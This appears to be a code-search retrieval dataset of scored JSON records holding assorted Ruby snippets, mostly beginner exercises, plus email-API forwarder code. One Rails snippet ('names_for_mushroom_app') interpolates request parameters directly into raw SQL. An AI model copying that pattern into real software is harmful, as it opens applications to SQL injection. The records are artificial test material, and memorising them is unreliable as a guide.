'quit': \"\n\t\tspy_name = gets.chomp #returning user input\n\t\tif spy_name == 'quit'\n\t\t\tputs \"Thank you.\"\n\t\telsif spy_name == '' || !spy_name.strip.include?(\" \") || spy_name.count(\" \") > 1 || spy_name =~ /\\d/ #input validation\n\t\t\tputs \"Please enter a valid name\"\n\t\telse\n\t\t\tputs next_letter(swap_names(spy_name))\n\t\t\talias_store.store(spy_name, next_letter(swap_names(spy_name)))\t\t\t\t\t #storing hash key/values of input name, and return value from next_letter method\n\t\tend\n\tend\n\talias_store.each {|orig_name, spy_name| puts \"#{spy_name} is acutally #{orig_name}.\"} #storing names in hash t\nend", "title": "" }, { "docid": "03fa102afa88b35a064435f3ead8c952", "score": "0.5534272", "text": "def add_member(lineup)\n puts \"you have chosen to add a spice girl. Enter the name of the girl: \"\n lineup.list_names2\n pick_newby = gets.chomp\n lineup.name_check=(pick_newby)\n lineup.add_girl(pick_newby)\n puts \"your new lineup is :\"\n lineup.list_names\nend", "title": "" }, { "docid": "9825b0549e9cf2689f25f7a0e04a2c6a", "score": "0.552379", "text": "def get_name \n\tputs \"What is your surname?:\"\n\tname = gets.chomp \n\tprint_thanks \n\tif check_name_ok?(name)\n\t\tthen print_new_name(name) end\nend", "title": "" }, { "docid": "380e95aa1bb5a548984103b988572c09", "score": "0.5519172", "text": "def show\n @str=''\n @lbd=Leaderboard.find_by_user_id(current_user.id)\n @loc='/hollywoods/'+(Integer(params[:id])+1).to_s\n @lbd.curh=Integer(params[:id])\n if Integer(params[:id])==1\n @lbd.Hscore=0\n end\n @lbd.hollycheck = true\n @lbd.save\n if @hollywood\n if(params[:A])\n @str=@str+'A'\n end\n if(params[:B])\n @str=@str+'B'\n end\n if(params[:C])\n @str=@str+'C'\n end\n if(params[:D])\n @str=@str+'D'\n end\n if @hollywood.MultiChoice==false\n @str=params[:ans]\n end\n if(@str==@hollywood.correctans)\n @lbd.Hscore+=10\n @lbd.maxh=@lbd.maxh > @lbd.Fscore ? @lbd.maxf : @lbd.Fscore\n if @lbd.maxh > Hollywood.count()*10\n @lbd.maxh = Hollywood.count()*10\n end\n @lbd.save\n end\n if params[:A] or params[:B] or params[:C] or params[:D] or params[:ans]\n if Integer(params[:id])==Hollywood.count()\n redirect_to '/hollywoods/'\n else\n redirect_to @loc\n end\n end \n else\n @lbd.Hscore=0\n @lbd.curh=0\n @lbd.save\n redirect_to '/hollywoods/'\n end\n end", "title": "" }, { "docid": "af899643d7af53ef1ceb0aec2d850c36", "score": "0.5508863", "text": "def new_sex(data)\n data.downcase.strip!\n unless data =~ /^(m|f)/i\n ask_sex\n return\n end\n\n @sex = data[0..1].downcase\n\n ask_password\n end", "title": "" }, { "docid": "94643a2cf173b61a1eab2c4fe5b2309e", "score": "0.55041236", "text": "def male_first_name; end", "title": "" }, { "docid": "d938cdcd3885ca6d83821c189831d3cc", "score": "0.549934", "text": "def roar\n if @type == \"grizzly\"\n return \"#{bear_name} is Rooooooaring\"\nelse\n puts \"#{bear_name} is roaring\"\nend\nend", "title": "" }, { "docid": "9d967f0981d2af85a20e40d9c5c241e8", "score": "0.54967374", "text": "def starring(whazzername)\n # Find the movies with an actor who had a name like `whazzername`.\n # A name is like whazzername if the actor's name contains all of the\n # letters in whazzername, ignoring case, in order.\n\n # ex. \"Sylvester Stallone\" is like \"sylvester\" and \"lester stone\" but\n # not like \"stallone sylvester\" or \"zylvester ztallone\"\n\nend", "title": "" }, { "docid": "9844c12b633da08e39b212e010f086b0", "score": "0.54879504", "text": "def give_animal(shelter, animal)\n\n puts \"***Pet's registration details***\"\n animal.name = prompt {\"Enter pet's name:\"}\n\n animal.age = prompt {\"Enter pet's age:\"}\n\n animal.gender = validate_simple_input(%w(m f)) {prompt {\"Enter pet's gender: (m , f)\"}}\n \n if animal.gender != 'q' \n animal.breed = prompt {\"Enter pet's breed:\"}\n\n toys = prompt {\"Enter pet's toys: (separate with a comma)\"}\n animal.toys << toys.split(',')\n \n animal.adoption = validate_simple_input(%w(y n)) {prompt {\"For adoption? (y , n)\"}}\n\n if animal.adoption != 'q'\n shelter.animals[animal.name] = animal\n else\n puts \"Abort. Try agiain.\"\n end\n\n else\n puts \"Abort. Try agiain.\"\n end\n\nend", "title": "" }, { "docid": "822d1b6dbada692201ef6a53ff23be96", "score": "0.5477759", "text": "def mood\n if !nausea || !happiness\n return \"\"\n elsif nausea >= happiness\n return \"sad\"\n elsif happiness > nausea\n return \"happy\"\n end\n end", "title": "" }, { "docid": "e1920acc95a6baf713e7a59b2f2e218d", "score": "0.547427", "text": "def generate_hero_gender(hero)\n buffer\n line\n puts \"Is your hero male, female, or any other?\"\n line\n choice = gi_string\n hero.gender = choice\n line\n puts \"Your hero's gender is #{hero.gender}. If this is correct, press 1. Press 2 if not. Press 3 to go back.\"\n line\n choice = gi_integer\n if choice == 1\n generate_hero_race(hero)\n elsif choice == 2\n generate_hero_gender(hero)\n elsif choice == 3\n generate_hero_hp(hero)\n else line\n puts \"Your input was not recognized. Please begin this step again.\"\n line\n generate_hero_gender(hero)\n end\n end", "title": "" }, { "docid": "30527e8a3ef47796bc612b0651a77fdf", "score": "0.54664344", "text": "def ham!\n @checked, @spam = true, false\n akismet :ham!\n save\n end", "title": "" }, { "docid": "f31945f3728a07613dcb238c5f7949d7", "score": "0.54600734", "text": "def essay_writer(firstname, lastname, date, dead_or_alive, quote, male_or_female)\n@firstname = firstname.capitalize\n@lastname = lastname.capitalize\n@date = date\n@dead_or_alive = dead_or_alive\n@quote = quote\n@male_or_female = male_or_female\n\tif male_or_female == \"male\"\n\tthey = \"He\"\n\telse\n\tthey = \"She\"\n\tend\n\n\tif dead_or_alive == \"dead\"\n\t\twas = \"was\"\n\n\telse\n\t\twas = \"is\" \n\tend\n\ntheir = \"#{lastname}'s\"\n\n\nputs \" What is your title?\"\n\ttitle = gets.chomp.upcase\nputs \"#{title}\"\nputs \"#{firstname} #{lastname} #{was} a great person who forever changed the world we live\nin today. #{they} always stood strong in the face of adversity and never gave up when the going got tough. \n#{they} is famous for saying, \\\"#{quote}!\\\" #{their} most famous accomplishment happened on #{date}, and from \nthat point forward, it has been remembered as an important date in history\"\n\nend", "title": "" }, { "docid": "562f63d0d6997e0b09fd56c03b4f504a", "score": "0.54552746", "text": "def scientist; end", "title": "" }, { "docid": "c4abb0b46c5acba4deab9c4a3af096dd", "score": "0.5450465", "text": "def mood\n unless admin\n happiness > nausea ? 'happy' : 'sad'\n end\n end", "title": "" }, { "docid": "828f5f38a8d67a7ce6011cb6620dae42", "score": "0.5449566", "text": "def name_male\n case rand(10)\n when 7 then \"#{prefix_male} #{first_name_male} #{last_name}\"\n when 5 then \"#{prefix_male} #{first_name_male} #{last_name}\"\n when 3 then \"#{first_name_male} #{last_name}\"\n when 0 then \"#{first_name_male} #{last_name}\"\n else \"#{first_name_male} #{last_name}\"\n end\n end", "title": "" }, { "docid": "3fb233498f2c4eec66034ff66d143c6b", "score": "0.54427564", "text": "def speak_to_grandma(input_phrase)\n if input_phrase == \"I LOVE YOU GRANDMA!\"\n \"I LOVE YOU TOO PUMPKIN!\"\n elsif input_phrase!=input_phrase.upcase && input_phrase!=\"I LOVE YOU GRANDMA!\"\n \"HUH?! SPEAK UP, SONNY!\"\n else input_phrase!=input_phrase.upcase \n \"NO, NOT SINCE 1938!\"\n end\nend", "title": "" }, { "docid": "14f1d3e82702e3cdbce89df833b47dd3", "score": "0.5442088", "text": "def are_you_playing_banjo(name)\n name.downcase.start_with?(\"r\") ? \"#{name} plays banjo\" : \"#{name} does not play banjo\"\nend", "title": "" }, { "docid": "8d8fc46a65e48b4197d85cf752fb69cb", "score": "0.5440668", "text": "def gladiator_count\n return \n\n # def fight(gladiator_1, gladiator_2) \n # fight = {\n # \"Trident\" => \"Spear\",\n # \"Spear\" => \"Club\",\n # \"Club\" => \"Trident\"\n # }\n\n # if fight[gladiator_1[:fight]] == gladiator_2[:play]\n # return \"#{gladiator_1[:name]} wins!\"\n # else\n # return \"#{gladiator_2[:name]} wins!\" \n # end\n\nend", "title": "" }, { "docid": "990bdbeb8f9745876d2f393096095a95", "score": "0.5439028", "text": "def get_user_input\n\n\tputs \"What is your name\"\n\t@name = gets\n\tputs \"You are about to enter the world of wrestling, if you want to step foot in it then you will be remembered with your ring name, not as #{@name}\"\n\tputs \"So speaking about ring names, What is your Ring name?\"\n\t@ring_name = gets\n\tputs \"A catchphrase is a thing that you like to say?\"\n\tputs \"What is your catchphrase?\"\n\t@catchphrase = gets\n\tputs \"What is your insult?\"\n\t@insult = gets\n\tputs \"What is your theme song\"\n\t@theme_song = gets\n\tputs \"What are the lyrics of your theme song\"\n\t@lyrics_of_theme_song = gets\n\tputs \"The Indie Circuit is where most people start, if you get promoted to the big leagues maybe you need to change your gimmick.\"\n\tputs \"If you decide to be in the Indies, What will the company be called?\"\n\t@company_indies = gets\n\tputs \"The big leagues are the places where very few people start, it is the main place of wrestling\"\n\tputs \"If you decide to be in the big leagues, you can choose either real or fictional companies, what will the fictional one be called?\"\n\t@company_big_leagues = gets\n\tputs \"If you want to be in a team, what will it be called. if you want to be a singles competitor then just put enter and select\n\tthe choice that you don't want to be in a tag team.\"\n\t@team_name = gets\n\tputs \"Who is your partner, just put a random name if you dont want to be in the tag team\n\tand do the same thing as the last question told you.\"\n\t@partner_tag_first = gets\n\tputs \"Getting back to the fictional company, what will your boss be called?\"\n\t@boss_name = gets\n\tputs \"who is the interviewer for the indies?\"\n\t@interviewername = gets\n\tputs \"If you are a heel during your debut in indies or big leagues, who will be your rival?\"\n\t@rival_name = gets\n\tputs \"but If you are a face during your debut in the indies or big leagues, who will be your rival?\"\n\t@rival_name_face = gets\n\tputs \"Ok so lets get to the story\"\n\n\nend", "title": "" }, { "docid": "4ab45dabd0c6b7341a387d9a8fd44dd8", "score": "0.5435862", "text": "def speak_to_grandma(question)\n if question != question.upcase\n return \"HUH?! SPEAK UP, SONNY!\"\n elsif question == \"I LOVE YOU GRANDMA!\"\n return \"I LOVE YOU TOO PUMKIN!\"\n else\n return \"NO, NOT SINCE 1938!\"\n end\nend", "title": "" }, { "docid": "49d1037c1a3f6032aed38140aa96f742", "score": "0.5431851", "text": "def essay_writer(title, topic, date, thesis, pronoun)\n if pronoun == \"female\"\n return \"#{title}. #{topic} was born in #{date}. She changed the world and is someone we should all learn about further. \n #{thesis}. #{topic} is important to the world.\"\n elsif pronoun == \"male\"\n return \"#{title}. #{topic} was born in #{date}. He changed the world and is someone we should all learn about further. \n #{thesis}. #{topic} is important to the world.\"\n else \n return \"#{title}. #{topic} was important since #{date}. It changed the world and is something we should all learn about further. \n #{thesis}. #{topic} is important to the world.\"\n end \nend", "title": "" }, { "docid": "c09b04b838732fdc01db37f2b780b798", "score": "0.54316336", "text": "def male_name\n case rand(0..8)\n when 0, 5 then \"#{first_name(:male)} #{middle_name(:male)}\"\n else first_name(:male)\n end\n end", "title": "" }, { "docid": "932d6dc011f516d99548a087be12f6ca", "score": "0.5411742", "text": "def determine_word_of_god(god_data)\n\tcase god_data\n\twhen 1\n\t\t:yes\n\twhen 2\n\t\t:no\n\telse\n\t\t:unknown\n\tend\nend", "title": "" }, { "docid": "ac44e6ac55387dbce2b8a569921c36e8", "score": "0.54108495", "text": "def set_human_name\n puts 'Hello, what is your name?'\n human_name = gets.chomp.to_s\n make_role_choice(human_name)\n end", "title": "" }, { "docid": "9187ea5a2e3c91d526d34e0e7cec11ba", "score": "0.5409761", "text": "def speak_to_grandma(takes_string_arguement)\n\n if takes_string_arguement == takes_string_arguement.upcase\n return \"NO, NOT SINCE 1938!\"\n else\n return \"HUH?! SPEAK UP, SONNY!\"\n end\n \nend", "title": "" }, { "docid": "bda919816f04ac37eedaeae5ad67272f", "score": "0.540715", "text": "def sex; end", "title": "" }, { "docid": "70b103205471ac072d88b0350ee259a8", "score": "0.53928846", "text": "def essay_writer(title, topic, date, thesis_statement, pronoun)\r\n\tputs \"#{title}\"\r\n\tputs \"\"\r\n\tif \"#{pronoun}\" == \"male\"\r\n\t\tputs \"#{topic} was an important person in #{date}. He did a lot. #{thesis_statement}\"\r\n\telsif pronoun == \"female\"\r\n\t\tputs \"#{topic} was an important person in #{date}. She did a lot. #{thesis_statement}\"\r\n\telsif pronoun == \"thing\"\r\n\t\tputs\"#{topic} was an important object in #{date}. One of the most important discoveries to date. #{thesis_statement}\"\r\n\telse pronoun == \"place\"\r\n\t\tputs\"#{topic} was an important place in #{date}. An important place in our world of history. #{thesis_statement}\"\r\nend\r\n\r\nend", "title": "" }, { "docid": "1bfa230b1e05357720f547b55e0730d1", "score": "0.5379316", "text": "def weight\n if username == \"awe0011\"\n 2\n else\n 1\n end\n end", "title": "" }, { "docid": "f08a774c99382e81957bbeb43dba49b2", "score": "0.5379171", "text": "def player_name\n puts \"What is your name?\"\n name = gets\n name_chomped = name.chomp.capitalize\n puts \"Hi #{name_chomped}! How are you doing today?\"\n response = gets.capitalize\n if response.include? \"not\"\n \tputs \"I am sorry, there's nothing I can do. Let's get on with the game.\"\n elsif response.include? \"Good\" or response.include? \"Great\" \n \tputs \"I am sure you are! But you won't be if you lose!\"\n else\n \tputs \"Okay! Good Luck with the game!\"\n end\n name_chomped\nend", "title": "" }, { "docid": "020728c3196f98d01e0437a968864487", "score": "0.53767055", "text": "def agent_namer\n agents = {}\n response = ''\n until response == 'quit'\n puts 'Give me your full name, agent (or tell me when to quit)'\n response = gets.chomp\n break if response == 'quit'\n # flip first and last names\n agent_name = response.reverse.split(/\\s+/, 2).collect(&:reverse).join(' ')\n # first scramble vowels\n scrambled_vowel = agent_name.tr('aeiouAEIOU', 'eiouaEIOUA')\n # then scramble consonants\n scrambled_consonents = scrambled_vowel.tr('bcdfghjklmnpqrstvwxyzBCDFGHJKLMNPQRSTVWXYZ', 'cdfghjklmnpqrstvwxyzbCDFGHJKLMNPQRSTVWXYZB')\n # Store that data in an agents hash!!!\n agents.store(response, scrambled_consonents)\n\n puts \"your new name is #{scrambled_consonents}\"\n\n end\n puts \"Okay, here's a list of our current agents that have been scrambled through this session:\"\n # Print em all out! How the HECK do I hide the hash summary after the printed one? It's cool to see what the hash looks like but I'd like it to be hidden from the user\n agents.each { |x, y| puts \"#{x} is actually #{y}\" }\nend", "title": "" }, { "docid": "b3f8c0d6c9d9cc4e059c38094f457757", "score": "0.5376316", "text": "def names_for_mushroom_app # :nologin: :norobots:\n number_of_names = params[:number_of_names].blank? ? 1000 : params[:number_of_names]\n minimum_confidence = params[:minimum_confidence].blank? ? 1.5 : params[:minimum_confidence]\n minimum_observations = params[:minimum_observations].blank? ? 5 : params[:minimum_observations]\n rank_condition = params[:include_higher_taxa].blank? ?\n '= \"Species\"' :\n 'NOT IN (\"Subspecies\", \"Variety\", \"Form\", \"Group\")'\n\n data = Name.connection.select_rows(%(\n SELECT y.name, y.rank, SUM(y.number)\n FROM (\n SELECT n.text_name AS name,\n n.rank AS rank,\n x.number AS number\n FROM (\n SELECT n.id AS name_id,\n n.synonym_id AS synonym_id,\n COUNT(o.id) AS number\n FROM names n, observations o\n WHERE o.name_id = n.id\n AND o.vote_cache >= #{minimum_confidence}\n GROUP BY IF(n.synonym_id IS NULL, n.id, -n.synonym_id)\n ) AS x\n LEFT OUTER JOIN names n ON IF(x.synonym_id IS NULL, n.id = x.name_id, n.synonym_id = x.synonym_id)\n WHERE n.deprecated = FALSE\n AND x.number >= #{minimum_observations}\n AND n.rank #{rank_condition}\n GROUP BY IF(n.synonym_id IS NULL, n.id, -n.synonym_id)\n ) AS y\n GROUP BY y.name\n ORDER BY SUM(y.number) DESC\n LIMIT #{number_of_names}\n ))\n\n genera = data.map do |name, rank, number|\n name.split(' ').first\n end.uniq\n\n families = {}\n for genus, classification in Name.connection.select_rows(%(\n SELECT text_name, classification FROM names\n WHERE rank = 'Genus'\n AND COALESCE(classification,'') != ''\n AND text_name IN ('#{genera.join(\"','\")}')\n ))\n for rank, name in Name.parse_classification(classification).reverse\n if rank == :Family\n families[genus] = name\n break\n end\n end\n end\n\n report = FasterCSV.generate(:col_sep => \"\\t\") do |csv|\n csv << ['name', 'rank', 'number_observations', 'family']\n data.each do |name, rank, number|\n genus = name.split(' ').first\n family = families[genus] || ''\n csv << [name, rank, number.round.to_s, family]\n end\n end\n send_data(report,\n :type => 'text/csv',\n :charset => 'UTF-8',\n :header => 'present',\n :disposition => 'attachment',\n :filename => \"#{action_name}.csv\"\n )\n\n rescue => e\n render(:text => e.to_s, :layout => false, :status => 500)\n end", "title": "" }, { "docid": "6693c8d4d7c49c7e2e2fb140cc81cba2", "score": "0.53689486", "text": "def mood\n \tself.happiness > self.nausea ? \"happy\" : \"sad\" if self.happiness && self.nausea\n end", "title": "" }, { "docid": "4e4cd855728758e164c4e70ac5bcd1cc", "score": "0.53668296", "text": "def req_name\n\t\tputs \"What is your name?\"\n\t\t@name = gets.chomp\n\tend", "title": "" }, { "docid": "687dada2db9a7c443f0fdaf92fd952a8", "score": "0.53642213", "text": "def status(act)\r\n extratext = \"\"\r\n moneytext = \"YOU HAVE NO MONEY\\n\"\r\n perkstext = \"\"\r\n help_text = \"\"\r\n\r\n if $strength <10\r\n extratext << \"WARNING, #{$name} , YOUR STRENGTH IS RUNNING LOW\\n\"\r\n end \r\n if $wealth >= 1\r\n moneytext = \"YOU HAVE $ #{$wealth}.\\n\"\r\n end\r\n if $food >= 1\r\n extratext << \"YOUR PROVISIONS SACK HOLDS #{$food} UNITS OF FOOD\\n\"\r\n end \r\n\r\n if $suit >= 1\r\n perkstext << \"YOU ARE WEARING ARMOR.\\n\"\r\n end\r\n\r\n if ($sword !=0 or $amulet !=0 or $axe !=0)\r\n perkstext << \"YOU ARE CARRYING \"\r\n if $sword >= 1\r\n perkstext << \"A SWORD \"\r\n end\r\n if $amulet >= 1\r\n if $sword != 0 and $axe != 0\r\n perkstext << \", \"\r\n elsif $sword != 0 and axe == 0\r\n perkstext << \"AND \"\r\n end\r\n perkstext << \"AN AMULET\"\r\n end\r\n\r\n if $axe >= 1\r\n if $sword != 0 or $amulet != 0\r\n perkstext << \" AND \"\r\n end\r\n perkstext << \"AN AXE\"\r\n end\r\n perkstext << \"\\n\"\r\n end\r\n\r\n if act == \"ROOM\" or act == \"GREETING\" or act == \"I\"\r\n if $light == 0 and $roomnumber != 6\r\n extratext << \"IT IS TOO DARK TO SEE ANYTHING\\n\"\r\n else\r\n extratext << \"#{room_descriptions_method} \\n\" \r\n end\r\n end\r\n\r\n if act == \"GREETING\"\r\n help_text = \"(YOU CAN PRESS H AT ANY MOMENT TO GET SOME HELP)\"\r\n end\r\n\r\n roomcontents = room_contents\r\n\r\n puts(\"#{$name}, YOUR STRENGTH IS #{$strength}.\\n#{moneytext}#{perkstext}\\n#{asterSick}\\n#{extratext}#{roomcontents}#{help_text}\\n\") \r\nend", "title": "" }, { "docid": "5df7f53933d08858618e7cd86d09c988", "score": "0.53639376", "text": "def name(namei)\n return \"hola \" + namei + \" Welcome\"#namei->name input\nend", "title": "" }, { "docid": "69d368bacc3ec668c1578cb8893f927e", "score": "0.5360188", "text": "def are_you_playing_banjo(name)\n first_letter = name.chars.first\n first_letter == \"R\" || first_letter == \"r\" ? \"#{name} plays banjo\" : \"#{name} does not play banjo\"\nend", "title": "" }, { "docid": "6d73549d3d864e4dcfa13bf1b6a2992a", "score": "0.5351857", "text": "def mood\n if self.nausea > self.happiness\n \"sad\"\n else\n \"happy\"\n end\n end", "title": "" }, { "docid": "e240194eacdc60de131a94cfdd5b6292", "score": "0.5348672", "text": "def speak_to_grandma(response)\n\tif response == 'I LOVE YOU GRANDMA!'\n\t\treturn 'I LOVE YOU TOO PUMPKIN!'\n\tend\n\tif response != response.upcase() || response == ''\n\t\treturn \"HUH?! SPEAK UP, SONNY!\"\n\telse\n\t\treturn \"NO, NOT SINCE 1938!\"\n\tend\nend", "title": "" }, { "docid": "d25349bb2d3a2c4b1de13432b8ab68d8", "score": "0.5345817", "text": "def isAttack\r\n \"#{@name}\"\r\nend", "title": "" }, { "docid": "8b966f46a67ca2c335c1494e08f4ce3d", "score": "0.533908", "text": "def kids_musical; end", "title": "" }, { "docid": "92fb33692839667555cea242072d220a", "score": "0.5336764", "text": "def gender; end", "title": "" }, { "docid": "673026622fa9e98d3696820056faee77", "score": "0.5334816", "text": "def generate_villain_hp(villain)\n buffer\n line\n puts \"Your villain's hp is being calculated...\"\n buffer\n hp = rand(500..1000)\n villain.hp = hp\n puts \"Your villain's health point are #{villain.hp}\"\n puts \"Is this enough health? Press 1 if it is enough, press 2 to re-roll power level.\"\n line\n choice = gi_integer\n if choice == 1\n generate_villain_gender(villain)\n elsif choice == 2\n generate_villain_hp(villain)\n else line\n puts \"Your input was not recognized. Please begin this step again.\"\n line\n generate_villain_hp(villain)\n end\n end", "title": "" }, { "docid": "dfd09ead298904f84490f92c8b5c576c", "score": "0.5333845", "text": "def offer_rose(name)\n puts \"Would you take this rose, #{name}, in exchange for giving an old beggar woman shelter from the bitter cold?\"\nend", "title": "" }, { "docid": "eca843a2ccc3861054d566ddb1e61481", "score": "0.5333169", "text": "def welcome(last_name, is_woman, is_sir)\n if is_sir\n \"Hello Sir #{last_name}\"\n elsif is_woman\n \"Hello Ms. #{last_name}\"\n else\n \"Hello Mr. #{last_name}\"\n end\nend", "title": "" }, { "docid": "8a7517a47a4e305023ccef712387f7ee", "score": "0.5332728", "text": "def record_users_choice input\n\n if input == \"p\"\n player_picked = \"Paper\"\n elsif input == \"r\"\n player_picked = \"Rock\"\n elsif input == \"s\"\n player_picked = \"Scissors\"\n end\nend", "title": "" }, { "docid": "18e5bdf6e31dca68114ad977b9b32a15", "score": "0.5327316", "text": "def excited_greet(name)\nend", "title": "" }, { "docid": "ff75090ee06ffbba9a5d87870d29e2ec", "score": "0.5326745", "text": "def mood\n if self.happiness && self.nausea\n self.happiness > self.nausea ? \"happy\" : \"sad\"\n end\n end", "title": "" }, { "docid": "b6ec51fe1395631a3c73e3f598da381a", "score": "0.53248185", "text": "def mood\n if self.nausea && self.happiness\n self.nausea > self.happiness ? (return \"sad\") : (return \"happy\")\n end\n end", "title": "" }, { "docid": "1f1d9052f5a88332daed7bcc45b9378b", "score": "0.53244615", "text": "def hi\n \t\t\tputs \"Ich heiße #{@name} und mir geht es zu #{@health}% gut.\"\n \t\tend", "title": "" }, { "docid": "ae82fb3bcc8bb58f139f89c28ec87249", "score": "0.5322759", "text": "def favorite_food name\n\tif name == \"Lister\"\n\t\treturn \"vindaloo\"\n\tend\n\n\tif name == \"Rimmer\"\n\t\treturn \"mashed potatoes\"\n\tend\n\n\t\"hard to say...maybe fried plantain?\"\nend", "title": "" }, { "docid": "c987cb71ee7cb4cbc81d959caff966a7", "score": "0.5321566", "text": "def assess_situation(danger_level, save_the_day, bad_excuse)\n# Your function should include an if/else statement that meets the following criteria\n# - Danger levels that are above 50 are too scary for your hero. Any danger level that is above 50 should result in printing the bad_excuse to the terminal\n# - Anything danger_level that is between 10 and 50 should result in printing the save_the_day string to the terminal\n# - If the danger_level is below 10, it means it is not worth your time and should result in printing the string \"Meh. Hard pass.\" to the terminal.\n if danger_level > 50\n p bad_excuse\n elsif danger_level > 10\n p save_the_day\n else\n p \"Meh, hard pass.\"\n end\nend", "title": "" }, { "docid": "0439bef5f5f2cc4a14346a9b537fffb5", "score": "0.5321519", "text": "def greet(name,owner)\n return \"Hello boss\" if name.eql? owner\n return \"Hello guest\" \nend", "title": "" }, { "docid": "08203ebb37667a892aa61579af4eaf68", "score": "0.5320703", "text": "def mood\n if nausea && happiness\n self.nausea > self.happiness ? \"sad\" : \"happy\" \n end\n end", "title": "" }, { "docid": "4c615673d0893546a22c8bc42e7ace1c", "score": "0.5316008", "text": "def check_if_full_name(full_name, full_name_split, first_name)\n if full_name_split.length > 1\n check_name_in_database(full_name, first_name)\n else\n puts \"\"\n puts \"Give me your full name, jackass!\".print_slowly\n get_user_name\n end\nend", "title": "" }, { "docid": "23e73e84a6a51259497454e7d96251b9", "score": "0.5313959", "text": "def someone_did_gain_usermode(stem, nick, mode, argument, bestower)\n end", "title": "" }, { "docid": "4ed3ce34fcd890b798bd4ce9d31d8439", "score": "0.53123987", "text": "def essay_writer( title, thing, year, thesis, type )\n \n if type.thing == \"male\" or type.thing == \"female\"\n \tword1 = type.single.capitalize + \" did a lot. \"\n \tname = thing.split\n \tword2 = name[0]\n else\n \tword1 = \"I find \" + type.single + \" facinating. \"\n \tword2 = thing\n end \n\n # title\n puts title\n\n # blank line\n puts\n\n # first sentence\n print thing + \" was an important \" + type.thing + \" in \" + year.to_s + \". \"\n\n # second sentence\n print word1\n\n # third sentence\n print \"I want to learn more about \" + type.object + \". \"\n\n # thesis\n print thesis + \" \"\n\n # last sentence\n puts word2 + \"'s contribution is important.\"\n\nend", "title": "" }, { "docid": "78995341a31119446adc526a89c6b186", "score": "0.530782", "text": "def formalise_username(n)\n name = Nameable::Latin.new.parse(n)\n if !name.last.nil?\n if name.gender == :female\n 'Ms ' + name.last\n else\n 'Mr ' + name.last\n end\n else\n name.first\n end\n end", "title": "" }, { "docid": "189c4f16a99f8e72996a916a2d95a6ff", "score": "0.5307465", "text": "def favorite_food name\n\tif name == 'Lister'\n\t\treturn 'vindaloo'\n\tend\n\n\tif name == 'Rimmer'\n\t\treturn 'mashed potatoes'\n\tend\n\n\t'hard to say...maybe fried plantain?'\nend", "title": "" } ]
85be2de3f8dfc5b494af53b607947f95
List inbox forwarders List all forwarders attached to an inbox
[ { "docid": "e8d9ee3ea3cd334137fa67cdfb056fce", "score": "0.0", "text": "def get_inbox_forwarders_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: InboxForwarderControllerApi.get_inbox_forwarders ...'\n end\n allowable_values = [\"ASC\", \"DESC\"]\n if @api_client.config.client_side_validation && opts[:'sort'] && !allowable_values.include?(opts[:'sort'])\n fail ArgumentError, \"invalid value for \\\"sort\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/forwarders'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'inboxId'] = opts[:'inbox_id'] if !opts[:'inbox_id'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n query_params[:'searchFilter'] = opts[:'search_filter'] if !opts[:'search_filter'].nil?\n query_params[:'since'] = opts[:'since'] if !opts[:'since'].nil?\n query_params[:'before'] = opts[:'before'] if !opts[:'before'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'PageInboxForwarderDto' \n\n # auth_names\n auth_names = opts[:auth_names] || ['API_KEY']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: InboxForwarderControllerApi#get_inbox_forwarders\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" } ]
[ { "docid": "dd7475496704d2166eda27a5b7560435", "score": "0.7078477", "text": "def index\n @forwarders = Forwarder.all\n end", "title": "" }, { "docid": "b00b3d201efbb4780c845fbd049c0297", "score": "0.6988489", "text": "def get_inbox_forwarders(opts = {})\n data, _status_code, _headers = get_inbox_forwarders_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "b17910ed0fbbf04d5e085f735bc39122", "score": "0.60905915", "text": "def inbox_all\n list_all(type: :inbox)\n end", "title": "" }, { "docid": "b74adb1fbe7f42076efff509fffd0dda", "score": "0.6038671", "text": "def recipient_list\n @email = Email.find(params[:id])\n redirect_to root_path unless current_user?(@email.user) # Restrict to only current user\n\n @wr_logs = @email.wr_logs.select{|w| w.opened || w.email_part > 0 || w.followed_url || w.forwarded}.paginate(page: params[:page], per_page: 25)\n end", "title": "" }, { "docid": "a548654f4bb078523cd6ee207ca35fd2", "score": "0.59913254", "text": "def list()\n _params = {}\n return @master.call 'senders/list', _params\n end", "title": "" }, { "docid": "f72aa8190ce31b3162c0f87241f667e7", "score": "0.597675", "text": "def list()\n _params = {}\n return @master.call 'senders/list', _params\n end", "title": "" }, { "docid": "989b8ee7cdbb736862a8d4c8d08b39a8", "score": "0.58742887", "text": "def test_inbox_forwarders_for_inbox(inbox_id, inbox_forwarder_test_options, opts = {})\n data, _status_code, _headers = test_inbox_forwarders_for_inbox_with_http_info(inbox_id, inbox_forwarder_test_options, opts)\n data\n end", "title": "" }, { "docid": "53d07ca888d52048f5d8d9974afc8a28", "score": "0.587119", "text": "def inbox_messages\n mailbox_messages('inbox')\n end", "title": "" }, { "docid": "59175b18f77d2795396d5a6adf86633b", "score": "0.58682114", "text": "def list\n @client.call(method: :get, path: 'recipient-lists')\n end", "title": "" }, { "docid": "c2efd40e7ef4bbd4458466dfb1febc9d", "score": "0.58195436", "text": "def fetch_all\n\t\t\t@gmail.in_label(@mailbox) do |mbox|\n\t\t\t\tGmail.auto_segment(@list.reject { |m| m.loaded? }, 25) do |fetch_uids|\n\t\t\t\t\t@gmail.imap.uid_fetch(fetch_uids, ['ENVELOPE', 'RFC822']).map do |info|\n\t\t\t\t\t\t# These messages must already exist in the mailbox hash\n\t\t\t\t\t\t# because they have already had the envelopes fetched\n\t\t\t\t\t\tmessage = 